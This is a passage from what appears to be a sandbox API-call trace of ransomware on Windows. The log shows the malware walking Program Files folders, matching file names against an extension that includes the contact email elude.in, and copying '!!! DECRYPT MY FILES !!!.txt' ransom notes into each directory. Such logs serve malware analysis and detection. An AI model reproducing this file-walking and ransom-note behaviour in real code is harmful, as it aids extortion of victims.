ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0115.954] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.954] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0115.954] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui", len=0x3b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 1 [0115.954] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui") returned 0x3b [0115.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.954] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.954] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.955] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.955] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0115.955] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0115.955] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc\\", len=0x2b | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\System\\msadc\\") returned 1 [0115.955] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0115.955] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.955] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0115.957] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.957] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0115.957] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 1 [0115.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\msadc\\adcjavas.inc") returned 0x37 [0115.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.958] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.958] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0115.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0115.958] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17bb043c, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5040 [0115.958] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0115.958] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.961] GetProcessHeap () returned 0x630000 [0115.961] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x10) returned 0x6b1208 [0115.961] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0115.961] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\adcjavas.inc", psz="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 1 [0115.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\msadc\\adcvbs.inc") returned 0x35 [0115.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.961] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.961] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.962] GetProcessHeap () returned 0x630000 [0115.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0x14) returned 0x6b01f8 [0115.962] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.962] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", len=0x31 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned 1 [0115.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0115.962] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.962] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6f8, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0115.962] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.962] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0115.963] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", len=0x40 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 1 [0115.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui") returned 0x40 [0115.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.963] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.963] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.963] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0115.963] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui", psz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", len=0x40 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned 1 [0115.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui") returned 0x40 [0115.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.963] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.963] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.964] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0115.964] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui", psz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", len=0x40 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned 1 [0115.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui") returned 0x40 [0115.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.964] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.964] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.964] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0115.964] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui", psz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 1 [0115.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui") returned 0x41 [0115.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.965] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.965] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.965] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0115.965] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui", psz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui") returned 1 [0115.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui") returned 0x41 [0115.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.965] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.965] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.966] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.966] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0115.966] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0115.966] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\adcvbs.inc", psz="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 1 [0115.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msadce.dll") returned 0x35 [0115.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.966] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.966] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.967] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, 